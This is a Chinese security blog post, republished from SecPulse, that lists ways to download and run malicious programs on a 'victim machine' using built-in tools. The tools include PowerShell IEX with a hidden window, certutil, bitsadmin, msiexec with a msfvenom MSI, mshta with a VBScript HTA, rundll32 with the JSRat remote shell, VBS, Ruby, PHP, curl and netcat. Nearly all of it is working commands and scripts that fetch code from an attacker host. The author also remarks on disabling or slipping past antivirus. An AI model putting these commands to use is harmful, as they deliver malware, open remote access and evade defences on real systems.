恶意程序研究之远程下载恶意程序
作者:admin | 时间:2020-8-1 00:35:31 | 分类:黑客技术 隐藏侧边栏展开侧边栏
声明
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
我知道上篇文章没有写完,但是把看到什么学什么,要终结的嘛你说是吧(ps:后续有其他方法也会更新到这里的
命令行自带工具
1.PowerShell
PowerShell是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的 shell 不同,PowerShell构建在 .NET公共语言运行时 (CLR) 的基础之上,接受并返回.NET对象,这从根本上的改变引入了全新的自动化工具和方法。
远程下载文件到本地:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.183.138:8000/test.txt','test.exe')
直接把文本转换为exe文件运行,无残留文件
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.138:8000/test.txt'))"
可以发现执行了,火绒都跑出来了23333
2.certutil
certutil.exe是一个命令行程序,作为证书服务的一部分安装,你可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件,以及验证证书,密钥对和证书链。
可以借助certutil来实现远程下载文件到本地:
certutil -urlcache -split -f http://192.168.183.138:8000/test.txt test.exe
3.Bitsadmin
BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度,自windows7 以上版本内置bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重试,在比较复杂的网络环境下,有着不错的性能。
可以通过在目标主机上执行以下命令来实现远程文件下载:
bitsadmin /transfer n http://192.168.183.138:8000/test.txt F:ascotbetest.ext
4.FTP
FTP(File Transfer Protocol,文件传输协议)是TCP/IP 协议组中的协议之一。FTP协议包括两个组成部分,其一为FTP服务器,其二为FTP客户端,其中FTP服务器用来存储文件,用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。
首先利用FileZilla来搭建个服务器
在目标主机上远程下载test.txt
文件
5.msiexec
msiexec是windows自带的cmd工具,支持远程下载功能,攻击者可以将msi文件上传到服务器并执行,下面通过一个实例做演示说明,首先我们通过msfvenom来构造一个恶意的msi程序(这里以弹计算器为例,在实战中可以根据需要进行修改),并启动一个简易
制作服务:
然后运行命令
msiexec /q /i http://192.168.183.138:8000/ascotbe.msi
还是把火绒给关了不然直接给我拦截了
6.mshta
mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件,我们可以在本地构建hta文件,之后通过目标主机的mshta来远程下载并执行,例如在本地创建以下hta文件:
<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <HEAD> <script language="VBScript"> Set objShell = CreateObject("Wscript.Shell") objShell.Run "cmd.exe /c calc.exe" // 待执行的命令 self.close </script> <body> Demo </body> </HEAD> </HTML>
然后在受害机器上执行
mshta http://192.168.183.138:8000/ascotbe.hta
这里说一句,火绒没拦截??????有点意思
也可以用MSF或者CS生产hta
文件,直接受害者机器执行就能上线
7.rundll32
Rundll32.exe功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件", 其命令行下的使用方法为:Rundll32.exe DLLname,Functionname Arguments,其中DLLname为需要执行的DLL文件名,Functionname为前边需要执行的DLL文件的具体引出函数,Arguments为引出函数的具体参数。
使用JSRat来做演示,项目地址:https://github.com/Hood3dRob1n/JSRat-Py
使用命令如下命令来开启服务
python JSRat.py -i 192.168.183.138 -p 8023
然后访问http://192.168.183.138:8023/wtf
这边有教你怎么用
执行完命令可以看到目标已经连上了
注意:这边powershell运行会报错,需要使用cmd才行
8.regsv***
Regsv***命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行,我们可以通过该命令来实现远程文件下载
搭建服务方式和上面的一样,然后还是访问那个URL
执行这个命令
可以看到直接连上了
9.VisualBasic
自1998年以来,Visual Basic的最终版本已在Windows计算机上成为标准配置。以下脚本可以下载您选择的文件。但是,该脚本比PowerShell脚本大得多。
把这段代码写到文本里面然后保存为vbs后缀
Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://192.168.183.138:8000/asctobe.hta",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "F:\ascotbe\ascotbe.hta",2 '保存在哪里 wscript.sleep 1000 Shell.Run ("F:\ascotbe\ascotbe.hta") '延迟过后执行下载文件
然后运行命令执行他
wscript .test.vbs
还是主要下载exe
文件,运行的话比较方便
1.Perl
Perl是目前很受欢迎的主流脚本语言,linux主机一般都自带perl环境,我们可以在终端中使用vim来编辑一个perl脚本,之后执行perl来实现远程文件下载
把下面代码保存为test.pl
#!perl #!/usr/bin/perl use LWP::Simple; getstore("http://192.168.1.7:8000/ascotbe.hta","test.hta");
然后运行
perl test.pl
一、Windows/Linux通用
1.Wget
wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。
直接下载服务器下的文件
wget http://192.168.183.138:8000/test.txt
2.curl
cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl。
curl http://192.168.183.138:8000/test.txt -o evil.exe
3.ncat
nc是一款安全工具,它还有其他的名字 Netcat, Ncat 可用来做端口扫描,端口转发,连接远程系统等。
服务器运行
nc -lvp 8023 < ascotbe.exe
受害机器下载运行
nc 192.168.183.138 8023 > ascotbe.exe
4.Python
Python是目前很受欢迎的主流脚本语言,这个的话直接用request请求然后获取数据保存为XXX.txt
文件即可
5.Ruby
当目标主机内安装了Ruby时
把文件保存为test.rb
,使用的是默认80端口
#!ruby #!/usr/bin/ruby require 'net/http' Net::HTTP.start("192.168.183.142") { |http| r = http.get("/ascotbe.sh") open("test.sh", "wb") { |file| file.write(r.body)}}
然后运行
ruby test.rb
6.PHP
当目标主机内安装了PHP时
把下面代码保存为test.php
<?php $data = @file("http://192.168.183.142/ascotbe.sh"); $lf = "test.sh"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?>
然后运行
php test.php
二、仅限Windows
1.Notepad
如果你有权限接入一台(远程连接或者物理机)电脑,但是当前用户权限不允许打开浏览器,但是目标主机有安装notepad那么可以下载保存运行一部到位
首先点击这个
然后这个位置输入WEB连接
可以看到这个
当然windows自带的notepad.exe
也是一样可以打开远程文件的,用法也是一样
打开如下
三、仅限Linux
1.Axel
这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。
安装
apt-get install axel
下载
axel http://192.168.1.7:8000/ascotbe.hta
2.Aria2
这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。
安装
apt-get install aria2
下载
aria2c http://192.168.1.7:8000/ascotbe.hta
https://linux.cn/article-7369-1.html https://blog.netspi.com/15-ways-to-download-a-file/ https://xz.aliyun.com/t/7937
本文作者:Asc0t6e
本文为安全脉搏专栏作者发布,转自:https://www.secpulse.com/archives/136186.html